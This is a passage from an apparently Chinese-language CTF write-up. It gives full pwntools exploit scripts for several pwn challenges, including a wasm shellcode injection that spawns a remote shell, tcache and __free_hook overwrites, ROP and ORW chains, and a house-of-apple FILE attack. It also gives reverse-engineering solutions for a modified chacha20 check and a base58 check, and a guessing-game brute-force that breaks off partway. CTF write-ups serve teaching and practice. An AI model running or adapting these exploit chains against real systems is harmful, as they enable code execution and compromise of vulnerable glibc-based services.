for line in lines:
    if '//' not in line:
        code += line + '\\n'

os.remove("exp.wat")

with open('exp.wat', 'w') as f:
    f.write(code)
os.system('wat2wasm --enable-all --no-check exp.wat')

with open("exp.wasm", "rb") as f:
    wasm_data = f.read()
    wasm_data = wasm_data.replace(b'\\xfc\\x0c\\x00\\x00', b'\\xfc\\x0c\\x01\\x01')

with open("exp.wasm", "wb") as f:
    f.write(wasm_data)

生成 shellcode

from pwn import *
context.arch = "amd64"

shellcode = '''
push r8
pop rsi
xor rax, rax
xor rdi, rdi
xor rdx, rdx
inc rdx
shl rdx, 16
syscall
nop
'''

jmp_asm = asm('jmp $+0x2a')

asm_code = ""
asm_list = shellcode.splitlines()
for i in range(len(asm_list)):

    this_asm = asm(asm_list[i])
    new_code = asm_code + this_asm
    if len(new_code) > 6 or i == len(asm_list) - 1:
        asm_code = asm_code.ljust(6, '\\x90') + jmp_asm
        print(hex(u64(asm_code)))
        log.hexdump(asm_code)
        asm_code = this_asm
    else:
        asm_code = new_code

二次读入发送 shellcode

from pwn import *
context.arch = "amd64"
context.log_level = "debug"

sh = remote('172.52.31.225', 6666)
sh.sendlineafter("please input your wasm code length:", str(len(wasm_data)))
sh.sendafter("please input your wasm code:", wasm_data)

sleep(5)
sh.sendline('\\x90' * 0x100 + asm(shellcraft.sh()))
sh.interactive()

webheap

from pwn import *
from ctypes import *

# sh = process('./webheap')
sh = remote('172.52.31.32', 9999)
context.log_level = "debug"

class WebHeap(Structure):
    _fields_ = (
        ('choice', c_uint64), ('index', c_uint64), ('size', c_uint64), ('data', c_char_p), ('unknown', c_uint64))

    def __str__(self):
        return '(%d, %d, %d)' % (self.choice, self.index, self.size)

def LoadProtocolLibrary():
    global ProtocolLibrary
    global GetSerializedHeapMenu
    global SerializePolyhedron
    global DeserializePolyhedron
    ProtocolLibrary = cdll.LoadLibrary('./webHeap.so')

    SerializePolyhedron = ProtocolLibrary.SerializePolyhedron
    SerializePolyhedron.argtypes = (c_uint64, c_uint64, c_uint64, c_char_p, c_uint64, c_void_p, c_size_t)
    SerializePolyhedron.restype = c_ssize_t

    DeserializePolyhedron = ProtocolLibrary.DeserializePolyhedron
    DeserializePolyhedron.argtypes = (POINTER(WebHeap), c_void_p, c_size_t)
    DeserializePolyhedron.restype = c_ssize_t

def create(choice, index, size, data):
    LoadProtocolLibrary()
    payload_buffer = create_string_buffer(1024)
    count = SerializePolyhedron(choice, index, size, data, 0, payload_buffer, len(payload_buffer))
    assert count >= 0
    return payload_buffer[0:count]

def sendPacket(data):
    sh.sendlineafter("Packet length: ", str(len(data)))
    sh.sendafter("Content:", data)

def add(idx, size):
    sendPacket(create(0, idx, size, ""))

def show(idx):
    sendPacket(create(1, idx, 0, ""))

def delete(idx):
    sendPacket(create(2, idx, 0, ""))

def edit(idx, content):
    sendPacket(create(3, idx, 0, content))

add(0, 0x418)
add(1, 0x68)
add(2, 0x68)
delete(0)
show(0)
libc_base = u64(sh.recvuntil('\\x7f')[-6:].ljust(8, '\\x00')) - 0x3ebca0
log.success("libc_base:\\t" + hex(libc_base))
free_hook_addr = libc_base + 0x3ed8e8
system_addr = libc_base + 0x4f550
delete(2)
delete(1)
edit(1, p64(free_hook_addr))
add(3, 0x68)
add(4, 0x68)
edit(3, '/bin/sh\\x00')
edit(4, p64(system_addr))
delete(3)
# gdb.attach(sh)
# sendPacket('\\xb9\\x05\\x01\\x00\\x81\\x88\\x00\\xbd\\x00\\x00')

sh.interactive()

webheap_revenge

from pwn import *
from ctypes import *

sh = process('./webheap_revenge')
#sh = remote('172.52.31.189', 9999)
context.log_level = "debug"

class WebHeap(Structure):
    _fields_ = (
    ('choice', c_uint64), ('index', c_uint64), ('size', c_uint64), ('data', c_char_p), ('unknown', c_uint64))

    def __str__(self):
        return '(%d, %d, %d)' % (self.choice, self.index, self.size)

def LoadProtocolLibrary():
    global ProtocolLibrary
    global GetSerializedHeapMenu
    global SerializePolyhedron
    global DeserializePolyhedron
    ProtocolLibrary = cdll.LoadLibrary('./webHeap.so')

    SerializePolyhedron = ProtocolLibrary.SerializePolyhedron
    SerializePolyhedron.argtypes = (c_uint64, c_uint64, c_uint64, c_char_p, c_uint64, c_void_p, c_size_t)
    SerializePolyhedron.restype = c_ssize_t

    DeserializePolyhedron = ProtocolLibrary.DeserializePolyhedron
    DeserializePolyhedron.argtypes = (POINTER(WebHeap), c_void_p, c_size_t)
    DeserializePolyhedron.restype = c_ssize_t

def create(choice, index, size, data):
    LoadProtocolLibrary()
    payload_buffer = create_string_buffer(1024)
    count = SerializePolyhedron(choice, index, size, data, 0, payload_buffer, len(payload_buffer))
    assert count >= 0
    return payload_buffer[0:count]

def sendPacket(data):
    sh.sendlineafter("Packet length: ", str(len(data)))
    sh.sendafter("Content:", data)

def add(idx, size):
    sendPacket(create(0, idx, size, ""))

def show(idx):
    sendPacket(create(1, idx, 0, ""))

def delete(idx):
    sendPacket(create(2, idx, 0, ""))

def edit(idx, content):
    sendPacket(create(3, idx, 0, content))

add(0, 0x418)
add(1, 0x68)
add(2, 0x68)
add(3, 0x68)
delete(0)
add(0, 0x418)
show(0)
libc_base = u64(sh.recvuntil('\\x7f')[-6:].ljust(8, '\\x00')) - 0x3ebca0
log.success("libc_base:\\t" + hex(libc_base))
free_hook_addr = libc_base + 0x3ed8e8
system_addr = libc_base + 0x4f550
edit(1, 'a' * 0x68 + p64(0xe1))
delete(2)
add(4, 0xd8)
delete(1)
delete(3)
edit(4, 'a' * 0x70 + p64(free_hook_addr))
add(5, 0x68)
add(6, 0x68)
edit(5, '/bin/sh\\x00')
edit(6, p64(system_addr))
delete(5)

#gdb.attach(sh)

sh.interactive()

bfbf

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
context.log_level = 'debug'

binary = 'pwn2'
elf = ELF('pwn2')
libc = ELF("./libc.so.6")
context.binary = binary
if(len(sys.argv) == 3):
    p = remote(sys.argv[1],sys.argv[2])
else:
    p = process(binary)
l64 = lambda      :u64(p.recvuntil("\\x7f")[-6:].ljust(8,"\\x00"))
l32 = lambda      :u32(p.recvuntil("\\xf7")[-4:].ljust(4,"\\x00"))
sla = lambda a,b  :p.sendlineafter(str(a),str(b))
sa  = lambda a,b  :p.sendafter(str(a),str(b))
lg  = lambda name,data : p.success(name + ": 0x%x" % data)
se  = lambda payload: p.send(payload)
rl  = lambda      : p.recv()
sl  = lambda payload: p.sendline(payload)
ru  = lambda a     :p.recvuntil(str(a))
payload = ">"*0x238
payload += "." + '>'
payload += "." + '>'
payload += "." + '>'
payload += "." + '>'
payload += "." + '>'
payload += "." + '>'
payload += "<"*6
payload += ","
payload += (">" + ",")*(0x17+0x10)
# p.recv()
p.send(payload)
libc_base = l64() - 243 - libc.sym["__libc_start_main"]
lg("libc_base",libc_base)
free_hook = libc_base + libc.sym["__free_hook"]
free_hook_zero = free_hook & 0xfffffffffffff000
pop_rdi = libc_base + 0x0000000000023b6a
pop_rsi = libc_base + 0x000000000002601f
pop_rdx = libc_base + 0x0000000000142c92
pop_rax = libc_base + 0x0000000000036174
pop_rsp = 0x000000000002f70a + libc_base
syscall = 0x00000000000630a9 + libc_base
pop_rcx = 0x000000000010257e + libc_base
add_rax = 0x00000000000cfaf0 + libc_base
rop = p64(pop_rdi) + p64(free_hook_zero) + p64(libc_base + libc.sym["gets"])
rop += p64(pop_rsp) + p64(free_hook_zero)
sleep(0.01)
p.send(rop)
sleep(0.01)
sc = shellcraft.cat("flag")
# sc = shellcraft.mmap(0x100000,0x1000,0x7,0x11,0x3,0)
# sc += shellcraft.write(1,0x100000,0x20)
# sc = shellcraft.open("./",0x10000)
# sc += shellcraft.getdents("rax",free_hook_zero+0x200,0x300)
# sc += shellcraft.write(1,free_hook_zero+0x200,0x300)
orw = p64(pop_rdi) + p64(free_hook_zero)
orw += p64(pop_rsi) + p64(0x1000)
orw += p64(pop_rdx) + p64(0x7)
orw += p64(pop_rax) + p64(9)
orw += p64(add_rax)
orw += p64(syscall)
orw += p64(free_hook_zero+0x58)
orw += asm(sc)
# attach(p)
# orw = p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(free_hook_zero)
# orw += p64(pop_rdx) + p64(0x100) + p64(pop_rax) + p64(0) + p64(syscall)
p.sendline(orw)
p.interactive()

store

UAF,largebinattack劫持stderr→_chain伪造io_file造house of apple,栈迁移执行shellcode,远程flag名未知因此getedents来找flag,flag为f1ag708edc8a0c4fecdb57d1文件,orw读flag

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
context.log_level = 'debug'

binary = 'store'
elf = ELF('store')
libc = ELF("./libc-2.31.so")
# context.binary = binary
if(len(sys.argv) == 3):
    p = remote(sys.argv[1],sys.argv[2])
else:
    p = process(binary)
l64 = lambda      :u64(p.recvuntil("\\x7f")[-6:].ljust(8,"\\x00"))
l32 = lambda      :u32(p.recvuntil("\\xf7")[-4:].ljust(4,"\\x00"))
sla = lambda a,b  :p.sendlineafter(str(a),str(b))
sa  = lambda a,b  :p.sendafter(str(a),str(b))
lg  = lambda name,data : p.success(name + ": 0x%x" % data)
se  = lambda payload: p.send(payload)
rl  = lambda      : p.recv()
sl  = lambda payload: p.sendline(payload)
ru  = lambda a     :p.recvuntil(str(a))
def cmd(idx):
    sla("choice:",str(idx))
def add(size,payload,payload2):
    cmd(1)
    sla("Size:",str(size))
    sa("Content:",payload)
    sa("Remark:",payload2)
def free(idx):
    cmd(2)
    sla("Index:",str(idx))
def show(idx):
    cmd(4)
    sla("Index:",str(idx))
def edit(idx,payload,payload2 = "bbbb"):
    cmd(3)
    sla("Index:",str(idx))
    sa("Content:",payload)
    sa("Remark",payload2)
def malloc(size):
    cmd(1)
    sla("Size:",str(size))
add(0x410,"aaa","bbbb")
add(0x420,"aaa","bbbb")
free(1)
show(1)
libc_base = l64() - 96 - libc.sym["__malloc_hook"] - 0x10
lg("libc_base",libc_base)
malloc(0x500)
free(0)
edit(1,"a"*0x18,"a"*0x18)
show(1)
ru("a"*0x18)
heap_addr = u64(p.recv(6).ljust(8,'\\x00'))
lg("heap_addr",heap_addr) 
heap_base = heap_addr - 0xad0
stderr_chain = libc_base + libc.sym["_IO_2_1_stderr_"] + 104
io_file_jumps = libc_base + libc.sym["_IO_file_jumps"]
gadgets = 0x0000000000157d8a + libc_base
leaver = 0x000000000005aa48 + libc_base
pop_rsp = 0x0000000000032b5a + libc_base
pop4_r = 0x0000000000026b6b + libc_base
pop_rdi = 0x0000000000026b72 + libc_base
pop_rsi = 0x0000000000027529 + libc_base
pop_rdx = 0x000000000011c371 + libc_base
pop_rax = libc_base + 0x000000000004a550
syscall = 0x0000000000066229 + libc_base
free_hook = libc_base + libc.sym["__free_hook"]
free_hook1 = free_hook & 0xfffffffffffff000
#  mov rbp, qword ptr [rdi + 0x48];
#  mov rax, qword ptr [rbp + 0x18]; 
#  lea r13, [rbp + 0x10]; 
#  mov dword ptr [rbp + 0x10], 0; 
#  mov rdi, r13; 
#  call qword ptr [rax + 0x28];
edit(1,p64(0)*3  + p64(stderr_chain-0x20))
malloc(0x500)
payload = flat({
    0x18:1,
    0x10:0,
    0xb0:1,
    0x20:2,
    0x90:heap_base+0x6c0,
    0x88:heap_base+0x6c0,
    0xc8:io_file_jumps+0x48
}, filler = b'\\x00',arch='amd64')
payload2 = flat({
    0:0,
    0x18:0,
    0x20:0x100,
    0x28:gadgets,
    0x30:0x100,
    0x38:heap_addr,

},filler = '\\x00',arch='amd64')
edit(0,payload,payload2)
payload = flat({
    0:0,
    0x10:0x1234,#rdi
    0x18:gadgets,#rax
    0x28:0x2222,
    0x38:heap_base+0xf10,

},filler = '\\x00',arch='amd64')
payload2 = flat({
    0x8:pop4_r,
    0x10:heap_base+0xf50,
    0x18:heap_base+0xf10,
    0x10:0x3456,
    0x28:leaver,
    0x30:pop_rdi,
    0x38:0,
    0x40:pop_rsi,
    0x48:free_hook1,
    0x50:pop_rdx,
    0x58:0x1000,
    0x60:0,
    0x68:pop_rax,
    0x70:0,
    0x78:syscall,
    0x80:pop_rdi,
    0x88:free_hook1,
    0x90:pop_rsi,
    0x98:0x1000,
    0xa0:pop_rdx,
    0xa8:0x7,
    0xb0:0x7,
    0xb8:pop_rax,
    0xc0:10,
    0xc8:syscall,
    0xd0:pop_rsp,
    0xd8:free_hook1+0x200,

},filler = '\\x00',arch='amd64')
edit(1,payload,payload2)
sc = shellcraft.mmap(0x40404040,0x7e,7,34,0,0)
sc = asm(sc)
sc += asm(shellcraft.amd64.read(0,0x40404040,0x40),arch = 'amd64')

# sc += asm(shellcraft.open(0x40404040,0x10000))
# sc += asm(shellcraft.getdents("eax",0x40404040+0x100,0x200))
# sc1 = shellcraft.amd64.write(1,0x40404040+0x100,0x200)

sc += asm(shellcraft.open(0x40404040,0))
sc1 = shellcraft.amd64.read("rax","rsp",0x100)
sc1 += shellcraft.amd64.write(1,"rsp",0x100)
sc = (sc) + asm(sc1,arch = 'amd64')
cmd(5)
sleep(0.1)
p.send(sc.ljust(0x200,'\\x90') + p64(free_hook1) + "flag\\x00\\x00\\x00\\x00")
sleep(0.1)
# attach(p)
p.sendline("f1ag708edc8a0c4fecdb57d1\\x00\\x00")
# p.sendline("./\\x00\\x00\\x00")
# attach(p)
p.interactive()
# f1ag708edc8a0c4fecdb57d1

only

UAF,double free劫持tcache头部(1/16),错位申请到stdout(1/16),泄露libc,打free_hook栈迁移orw出flag,1/256

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
context.log_level = 'debug'
def cmd(idx):
    sla(">>",str(idx))
def add(size,payload):
    cmd(1)
    sla("Size:",str(size))
    sa("Content:",payload)
def free():
    cmd(2)
def add2():
    cmd(0)
def exp():
    add(0xe0,"aaa\\n")
    free()
    add2()
    free()
    add(0xe0,p16(0xa010)+'\\n')
    add(0xe0,"aaa\\n")
    payload = "\\x00"*0x18 + p16(0) + p16(0x20)
    payload = payload.ljust(0x4e,'\\x00')
    payload += p16(0x20)
    add(0xe0,payload + '\\n')
    free()
    add(0x80,p16(0)*2 + '\\n')
    add(0x48,p16(0x96a0) + '\\n')
    add(0x30,p64(0xfbad1800) + p64(0)*3 + p8(0x8) + '\\n')
    libc_base = l64() - libc.sym["_IO_2_1_stdin_"]
    lg("libc_base",libc_base)
    free_hook = libc_base + libc.sym["__free_hook"]
    free_hook1 = free_hook & 0xfffffffffffff000
    gadgets = 0x0000000000157d8a + libc_base
    # mov rbp, qword ptr [rdi + 0x48];
    # mov rax, qword ptr [rbp + 0x18];
    # lea r13, [rbp + 0x10]; 
    # mov dword ptr [rbp + 0x10], 0; 
    # mov rdi, r13; 
    # call qword ptr [rax + 0x28]; 

    pop_rdi = libc_base + 0x0000000000026b72
    pop_rsi = libc_base + 0x0000000000027529
    pop_rdx = libc_base + 0x000000000011c371
    pop_rax = libc_base + 0x000000000004a550
    pop_rsp = libc_base + 0x0000000000032b5a
    pop4r = 0x00000000000913ae + libc_base
    leaver = 0x000000000005aa48 + libc_base
    syscall = 0x0000000000066229 + libc_base

    add(0x28,p64(free_hook)*2 + '\\n')
    payload = flat({
        0:gadgets,
        0x8:pop4r,
        0x18:free_hook,
        0x28:leaver,
        0x30:pop_rsi,
        0x38:free_hook1,
        0x40:pop_rdi,
        0x48:free_hook,
        0x50:pop_rdi,
        0x58:0,
        0x60:pop_rdx,
        0x68:0x1000,
        0x70:0,
        0x78:pop_rax,
        0x80:0,
        0x88:syscall,
        0x90:pop_rsp,
        0x98:free_hook1,
        0xa0:syscall,
    },filler = '\\x00')
    add(0xe0,payload+'\\n')
    free()
    sleep(0.01)
    payload = flat([
        pop_rdi,free_hook1,pop_rsi,0x1000,pop_rdx,0x7,0x7,pop_rax,10,
        syscall,free_hook1+0x58
    ])
    sc = shellcraft.cat("flag")
    p.send(payload + asm(sc))
    # add(0xd0,p64(0)+p16(0x1234) +'\\n')
    # free()
    p.interactive()
if __name__ == "__main__":
    binary = './only'
    elf = ELF('./only')
    libc = ELF("./libc.so.6")
    context.binary = binary
    # if(len(sys.argv) == 3):
    #     p = remote(sys.argv[1],sys.argv[2])
    # else:
    #     p = process(binary)
    p = remote
    l64 = lambda      :u64(p.recvuntil("\\x7f")[-6:].ljust(8,"\\x00"))
    l32 = lambda      :u32(p.recvuntil("\\xf7")[-4:].ljust(4,"\\x00"))
    sla = lambda a,b  :p.sendlineafter(str(a),str(b))
    sa  = lambda a,b  :p.sendafter(str(a),str(b))
    lg  = lambda name,data : p.success(name + ": 0x%x" % data)
    se  = lambda payload: p.send(payload)
    rl  = lambda      : p.recv()
    sl  = lambda payload: p.sendline(payload)
    ru  = lambda a     :p.recvuntil(str(a))
    while(1):
        try:
            p = remote(sys.argv[1],sys.argv[2])
            exp()
        except Exception as e:
            p.close()
            print(e)

REVERSE

comeongo

根据字符串you get it , flag may be flag{username+password}定位主函数

image-20221106182420946

check函数进去分析一下

image-20221106182429286

动调得知v5和v11分别是username和password的长度,都是16,然后会有两个check

image-20221106182438134

rax是username,rcx是password,rbx和rdi都是长度

image-20221106182447376

image-20221106182456042

Encoding找到了base58的表,参数是username的前8位+password的前八位

image-20221106182505482

memequal的参数是9pd5duAv9fueatCwqEwuy7,我们解一下GoM0bi13G3tItEzF

拆分一下得到

username:GoM0bi13
password:G3tItEzF

只有check1过了才能进入check2,我们重新构造flag

image-20221106182514245

check2这里会对username的后八位和password的后八位进行操作,通过main_io_read加密,经过多次调试,发生是逐字节加密的,而且对数字不会有操作,对字母表作了一个加密的映射:abcd是mnop,ijkl对应uvwx,这样就可以调出密文所对应的明文

把username[8-11]和passsword[8-11]进行一个merge,然后base64加密然后与X051YmNmRnE=比较,解密一下X051YmNmRnE=

_NubcfFq

username:GoM0bi13_Bin
password:G3tItEzForRe

这个根据前面跳出来的字母表然后替换后

现在缺最后四位,直接下软件断点下看汇编就行了,类似解方程

image-20221106182526767

a=[0X76,0X47]
b=[ 0xDD, 0x8F, 0xA1, 0x64]
for i in range(len(a)):
    print(chr(b[i]-a[i]-i))
print(chr(0x6f))
print(chr(33))
print(chr(0x61-ord('!')))
username:GoM0bi13_BingGo@
password:G3tItEzForRe__0!

少了两位,下断点没停下来,题目有问题,后面更新附件了,不过我直接猜了一下密钥vG,结果对了

username:GoM0bi13_BingGo@
password:G3tItEzForRevG0!

mcmc

这个有ollvm,但是有明显的chacha20特征,直接解没解出来,怀疑有其他操作,对flag进行访问断点

image-20221106182607720

最后的结果比对

unsigned char ida_chars[] =
{
  0x06, 0x08, 0x65, 0x04, 0x60, 0x03, 0x08, 0x01, 0x4A, 0x10, 
  0x32, 0x58, 0xEE, 0x97, 0x65, 0x84, 0x44, 0xF2, 0x10, 0x6B, 
  0xE8, 0x50, 0x24, 0x99, 0xF6, 0xE3, 0x21, 0x51, 0xC2, 0x5D, 
  0xBF, 0x32
};

image-20221106182618398

这里前面sub_405480是把flag的每四个为一组,16个,也就是4组进行一次加密

sub_4011A0就是chacha20了,chacha20的xor部分是被魔改过的

但是下断点调试,再这些之前还有个循环是对8、16、24、32位进行xor,xor的值是[68,35,91,90],是固定的

github找到chacha20的源码对着看https://github.com/Ginurx/chacha20-c

#pragma once

#pragma once
#include <assert.h>
#include <stddef.h>
#include <stdint.h>
#include <string.h>

#ifdef __cplusplus 
extern "C" {
#endif

    struct chacha20_context
    {
        uint32_t keystream32[16];
        size_t position;

        uint8_t key[32];
        uint8_t nonce[12];
        uint64_t counter;

        uint32_t state[16];
    };

    void chacha20_init_context(struct chacha20_context* ctx, uint8_t key[], uint8_t nounc[], uint64_t counter);

    void chacha20_xor(struct chacha20_context* ctx, uint8_t* bytes, size_t n_bytes);

#ifdef __cplusplus 
}
#endif
#include "chacha20.h"
#include<stdio.h>

static uint32_t rotl32(uint32_t x, int n)
{
    return (x << n) | (x >> (32 - n));
}

static uint32_t pack4(const uint8_t* a)
{
    uint32_t res = 0;
    res |= (uint32_t)a[0] << 0 * 8;
    res |= (uint32_t)a[1] << 1 * 8;
    res |= (uint32_t)a[2] << 2 * 8;
    res |= (uint32_t)a[3] << 3 * 8;
    return res;
}

static void unpack4(uint32_t src, uint8_t* dst) {
    dst[0] = (src >> 0 * 8) & 0xff;
    dst[1] = (src >> 1 * 8) & 0xff;
    dst[2] = (src >> 2 * 8) & 0xff;
    dst[3] = (src >> 3 * 8) & 0xff;
}

static void chacha20_init_block(struct chacha20_context* ctx, uint8_t key[], uint8_t nonce[])
{
    memcpy(ctx->key, key, sizeof(ctx->key));
    memcpy(ctx->nonce, nonce, sizeof(ctx->nonce));

    const uint8_t* magic_constant = (uint8_t*)"expand 32-byte k";
    ctx->state[0] = pack4(magic_constant + 0 * 4);
    ctx->state[1] = pack4(magic_constant + 1 * 4);
    ctx->state[2] = pack4(magic_constant + 2 * 4);
    ctx->state[3] = pack4(magic_constant + 3 * 4);
    ctx->state[4] = pack4(key + 0 * 4);
    ctx->state[5] = pack4(key + 1 * 4);
    ctx->state[6] = pack4(key + 2 * 4);
    ctx->state[7] = pack4(key + 3 * 4);
    ctx->state[8] = pack4(key + 4 * 4);
    ctx->state[9] = pack4(key + 5 * 4);
    ctx->state[10] = pack4(key + 6 * 4);
    ctx->state[11] = pack4(key + 7 * 4);
    // 64 bit counter initialized to zero by default.
    ctx->state[12] = 0;
    ctx->state[13] = pack4(nonce + 0 * 4);
    ctx->state[14] = pack4(nonce + 1 * 4);
    ctx->state[15] = pack4(nonce + 2 * 4);

    memcpy(ctx->nonce, nonce, sizeof(ctx->nonce));
}

static void chacha20_block_set_counter(struct chacha20_context* ctx, uint64_t counter)
{
    ctx->state[12] = (uint32_t)counter;
    ctx->state[13] = pack4(ctx->nonce + 0 * 4) + (uint32_t)(counter >> 32);
}

static void chacha20_block_next(struct chacha20_context* ctx) {
    // This is where the crazy voodoo magic happens.
    // Mix the bytes a lot and hope that nobody finds out how to undo it.
    for (int i = 0; i < 16; i++) ctx->keystream32[i] = ctx->state[i];

#define CHACHA20_QUARTERROUND(x, a, b, c, d) \\
    x[a] += x[b]; x[d] = rotl32(x[d] ^ x[a], 16); \\
    x[c] += x[d]; x[b] = rotl32(x[b] ^ x[c], 12); \\
    x[a] += x[b]; x[d] = rotl32(x[d] ^ x[a], 8); \\
    x[c] += x[d]; x[b] = rotl32(x[b] ^ x[c], 7);

    for (int i = 0; i < 10; i++)
    {
        CHACHA20_QUARTERROUND(ctx->keystream32, 0, 4, 8, 12)
            CHACHA20_QUARTERROUND(ctx->keystream32, 1, 5, 9, 13)
            CHACHA20_QUARTERROUND(ctx->keystream32, 2, 6, 10, 14)
            CHACHA20_QUARTERROUND(ctx->keystream32, 3, 7, 11, 15)
            CHACHA20_QUARTERROUND(ctx->keystream32, 0, 5, 10, 15)
            CHACHA20_QUARTERROUND(ctx->keystream32, 1, 6, 11, 12)
            CHACHA20_QUARTERROUND(ctx->keystream32, 2, 7, 8, 13)
            CHACHA20_QUARTERROUND(ctx->keystream32, 3, 4, 9, 14)
    }

    for (int i = 0; i < 16; i++) ctx->keystream32[i] += ctx->state[i];

    uint32_t* counter = ctx->state + 12;
    // increment counter
    counter[0]++;
    if (0 == counter[0])
    {
        // wrap around occured, increment higher 32 bits of counter
        counter[1]++;
        // Limited to 2^64 blocks of 64 bytes each.
        // If you want to process more than 1180591620717411303424 bytes
        // you have other problems.
        // We could keep counting with counter[2] and counter[3] (nonce),
        // but then we risk reusing the nonce which is very bad.
        assert(0 != counter[1]);
    }
}

void chacha20_init_context(struct chacha20_context* ctx, uint8_t key[], uint8_t nonce[], uint64_t counter)
{
    memset(ctx, 0, sizeof(struct chacha20_context));

    chacha20_init_block(ctx, key, nonce);
    chacha20_block_set_counter(ctx, counter);

    ctx->counter = counter;
    ctx->position = 64;
}

void chacha20_xor(struct chacha20_context* ctx, uint8_t* bytes, size_t n_bytes)
{
    uint8_t* keystream8 = (uint8_t*)ctx->keystream32;
    for (size_t i = 0; i < 32; i++)
    {
        if (ctx->position >= 64)
        {
            chacha20_block_next(ctx);
            ctx->position = 0;
        }
        //奇数
        if (i % 2 == 0)
        {
            bytes[i] = (((bytes[(i + 1)] + keystream8[ctx->position]) % 256) & 0xA | ~((bytes[i + 1] + keystream8[ctx->position]) % 256) & 0xF5) ^ (bytes[i] & 0xA | ~bytes[i] & 0xF5);
        }
        else
        {
            bytes[i] = (((bytes[i - 1] + keystream8[ctx->position]) % 256) & 0xA | ~((bytes[i - 1] + keystream8[ctx->position]) % 256) & 0xF5) ^ (bytes[i] & 0xA | ~bytes[i] & 0xF5);

        }




        ctx->position++;
    }
}
void chacha20_xordecode(struct chacha20_context* ctx, uint8_t* bytes, size_t n_bytes)
{
    uint8_t* keystream8 = (uint8_t*)ctx->keystream32;
    for (size_t i = 31; i >= 0; i--)
    {
        if (ctx->position >= 64)
        {
            chacha20_block_next(ctx);
            ctx->position = 31;
        }
        //奇数
        if (i % 2 == 0)
        {

            for (size_t t = 0; t < 0xff; t++)
            {
                int a1 = bytes[i] ^ (((bytes[(i + 1)] + keystream8[ctx->position]) % 256) & 0xA | ~((bytes[i + 1] + keystream8[ctx->position]) % 256) & 0xF5);
                if (((t & 0xA )| (~t & 0xF5)) ==a1 ) {
                    printf("%d:0x%x \\n",i, t);
                    bytes[i] = t;
                    break;
                }
            }
        }
        else
        {

            for (size_t t = 0; t < 0xff; t++)
            {
                int a = bytes[i] ^ (((bytes[i - 1] + keystream8[ctx->position]) % 256) & 0xA | ~((bytes[i - 1] + keystream8[ctx->position]) % 256) & 0xF5);
                if ((t & 0xA | ~t & 0xF5) ==a ) {
                    printf("%d:0x%x \\n",i, t);
                    bytes[i] = t;
                    break;
                }
            }
        }

        ctx->position--;
    }
}
int main() {
    uint8_t key[] = { 0x0A, 0xEB, 0x19, 0x25, 0x2E, 0xE8, 0x9C, 0x90, 0xEC, 0x85,
  0xC0, 0xD6, 0x07, 0xCF, 0x5A, 0x54, 0x49, 0x40, 0x12, 0x24,
  0xE7, 0x53, 0x13, 0x1E, 0x2F, 0x4F, 0xAD, 0x14, 0xDE, 0xF6,
  0x8F, 0xE9 };
    uint8_t nonce[] = { 0x67, 0xC6, 0x69, 0x73, 0x51, 0xFF, 0x4A, 0xEC, 0x29, 0xCD,
  0xBA, 0xAB };
    uint64_t counter = 1;
    uint8_t buffer[] = { 0x06, 0x08, 0x65, 0x04, 0x60, 0x03, 0x08, 0x01, 0x4A, 0x10,
  0x32, 0x58, 0xEE, 0x97, 0x65, 0x84, 0x44, 0xF2, 0x10, 0x6B,
  0xE8, 0x50, 0x24, 0x99, 0xF6, 0xE3, 0x21, 0x51, 0xC2, 0x5D,
  0xBF, 0x32 };
    uint8_t buffer1[] = { 0xfa,0x29,0xd7,0xe6,0x69,0x1a,0xd4,0xcf,0x9f,0x35,0x71,0x61,0x8b,0x6a,0xcb,0xf7,0x54,0x45,0x3b,0xf1,0xc3,0x66,0xe3,0x89,0xe7,0x5,0xfb,0x38,0xc1,0x6f,0xb0,0xe8 };
    struct chacha20_context ctx;
    chacha20_init_context(&ctx, key, nonce, counter);
    //chacha20_xorde(&ctx, buffer, sizeof(buffer));
    for (size_t i = 0; i < 32; i+=4)
    {
        printf("0x%x%x%x%x\\n", buffer1[i+3],buffer1[i+2], buffer1[i + 1],buffer1[i + 0]);
    }
    return 0;
}

这里我们只是得到没被chacha20加密过的数据

from z3 import *
flag = [BitVec('flag[%d]' % i, 32) for i in range(8)]
s = Solver()
s.add(((flag[0]<<1)-((-flag[1])&0xffffffff)-flag[2]+flag[3])&0xffffffff==0xe6d729fa)
s.add((~(~(flag[0]+flag[1]) + (-flag[2])&0xffffffff)-flag[3])&0xffffffff==0xcfd41a69)
s.add((flag[0]-flag[1]+flag[2]+((-flag[3])&0xffffffff))&0xffffffff==0x6171359f)
s.add((~(~(flag[0]+(flag[1]<<1) - flag[2])+(-(flag[3]<<1))&0xffffffff))&0xffffffff==0xf7cb6a8b)
s.add(((flag[4]<<1)-((-flag[5])&0xffffffff)-flag[6]+flag[7])&0xffffffff==0xf13b4554)
s.add((~(~(flag[4]+flag[5]) + (-flag[6])&0xffffffff)-flag[7])&0xffffffff==0x89e366c3)
s.add((flag[4]-flag[5]+flag[6]+((-flag[7])&0xffffffff))&0xffffffff==0x38fb05e7)
s.add((~(~(flag[4]+(flag[5]<<1) - flag[6])+(-(flag[7]<<1))&0xffffffff))&0xffffffff==0xe8b06fc1)
if s.check() == sat:
   print(s.model())
pq=[1835889971,925987429,1919252016, 1194345311,1667722857,678703214,812658772, 845703272]
for i in range(len(pq)):
  print(hex(pq[i]))

ppq=[0x33,0x75,0x6d,0x6d,0x65,0x72,0x31,0x37
    ,0x30,0x76,0x65,0x72,0x5f,0x43,0x30,0x47
    ,0x69,0x6e,0x67,0x63,0x6e,0x30,0x74,0x28
    ,0x54,0x30,0x70,0x30,0x68,0x68,0x68,0x32]
for i in range(len(ppq)):
  print(chr(ppq[i]^firstxor[i]),end="")

这里把8、16、24、32的xor也计算进去了

3ummer1s0ver_C0dingcn0tsT0p0hhhh

MISC

Welcome

签到题。下载附件zip打开里面的txt是flag

babymisc

猜数字,只能猜15次,二分法都不够用,只能爆破了

from pwn import *

#context.log_level = 'debug'

def run():
    io = remote("172.52.31.165",9999)
    try:
        print("start")

        io.sendline(b"Y")
        io.recvuntil(b"Please enter a number:")

        #target > mid 等价于 guess(mid)返回1
        #target < mid 等价于 guess(mid)返回-1
        #target = mid 等价于 guess(mid)返回0
        def guess(num):
            io.sendline(str(int(num)))
            '''
            [DEBUG] Sent 0x7 bytes:
            b'907273\n'
            [DEBUG] Received 0x5 bytes:
            b'Bingo'
            [DEBUG] Received 0x62 bytes:
            b'\n'
            b'Time use:0.44second\n'
            b"To thank you, I'll give you the flag\n"
